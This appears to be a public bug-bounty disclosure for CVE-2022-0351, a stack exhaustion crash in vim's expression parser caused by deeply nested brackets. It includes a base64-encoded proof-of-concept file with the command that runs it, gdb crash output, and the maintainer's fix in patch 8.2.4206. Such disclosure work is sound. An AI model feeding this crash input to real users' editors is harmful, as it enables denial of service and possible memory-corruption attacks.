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Access of Memory Location Before Start of Buffer in vim/vim

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Valid Reported on Jan 23rd 2022

Description

Stack Pointer ($RSP) is corrupted at function eval7t in eval.c during calling eval3, eval4, eval5, eval6, eval7... continuously while parsing too many brackets.
vim version : 8.2.4195
latest commit hash : 79a6e25b79cdb35e00d8b364516103eb358d8cc7

Proof of Concept

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$ echo -ne "aWYoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
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KegDAAB9" | base64 -d > poc

$ ./vim -u ./poc
```

```
$ gdb ./vim
gdb-peda$ r -u poc


Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------
RAX: 0x1ed1772bd0205600
RBX: 0x0
RCX: 0x0
RDX: 0x7fffffffd880 --> 0x1
RSI: 0x7fffffffd870 --> 0x0
RDI: 0x7fffffffd820 --> 0x5555558bca9a ('(' <repeats 200 times>...)
RBP: 0x7fffffffd870 --> 0x0
RSP: 0x7fffff7fefd0
RIP: 0x5555555dbe25 (<eval7t+37>:   mov    QWORD PTR [rsp+0x28],rax)
R8 : 0x0
R9 : 0x0
R10: 0x0
R11: 0x1
R12: 0x7fffffffd880 --> 0x1
R13: 0x0
R14: 0x7fffffffd820 --> 0x5555558bca9a ('(' <repeats 200 times>...)
R15: 0x7fffffffd820 --> 0x5555558bca9a ('(' <repeats 200 times>...)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction ove
[-------------------------------------code-------------------------------------
   0x5555555dbe16 <eval7t+22>:  xor    ebx,ebx
   0x5555555dbe18 <eval7t+24>:  sub    rsp,0x38
   0x5555555dbe1c <eval7t+28>:  mov    rax,QWORD PTR fs:0x28
=> 0x5555555dbe25 <eval7t+37>:  mov    QWORD PTR [rsp+0x28],rax
   0x5555555dbe2a <eval7t+42>:  xor    eax,eax
   0x5555555dbe2c <eval7t+44>:  test   rdx,rdx
   0x5555555dbe2f <eval7t+47>:  je     0x5555555dbe36 <eval7t+54>
   0x5555555dbe31 <eval7t+49>:  mov    ebx,DWORD PTR [rdx]
[-------------------------------------stack-------------------------------------
Invalid $SP address: 0x7fffff7fefd0
[-------------------------------------------------------------------------------
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00005555555dbe25 in eval7t (arg=0x7fffffffd820, rettv=0x7f
    want_string=0x0) at eval.c:3393
3393    {
```

```
gdb-peda$ exploitable
Description: Possible stack corruption
Short description: PossibleStackCorruption (7/22)

Hash: 4d4a9714ed5fc41d3e60eba892fbac67.ff116d70a8fd39d0c6006916f349ae57
Exploitability Classification: EXPLOITABLE
Explanation: GDB generated an error while unwinding the stack and/or the st
Other tags: DestAv (8/22), AccessViolation (21/22)
```

Impact

This vulnerability may lead to an exploit of this program since this bug can corrupt $RSP register. This kind of memory corruption vulnerabilities can cause bypass protection mechanisms and be successful arbitrary code execution.

Acknowledgement

Special thanks to Pocas (a.k.a Kapos)

CVE
CVE-2022-0351
(Published)

Vulnerability Type
CWE-786: Access of Memory Location Before Start of Buffer

Severity
High (8.4)

Visibility
Public

Status
Fixed

Found by

alkyne Choi
@alkyne
unranked

Fixed by

Bram Moolenaar

@brammool

maintainer

This report was seen 989 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

alkyne Choi modified the report 10 months ago

alkyne Choi modified the report 10 months ago

alkyne Choi modified the report 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar validated this vulnerability 10 months ago

alkyne Choi has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar 10 months ago

It simply runs out of stack. I limit the depth to 1000 in patch 8.2.4206.

Bram Moolenaar marked this as fixed in **8.2** with commit **fe6fb2** 10 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

Pocas 10 months ago

I am not Kapos,, but nice this. (Just legend)

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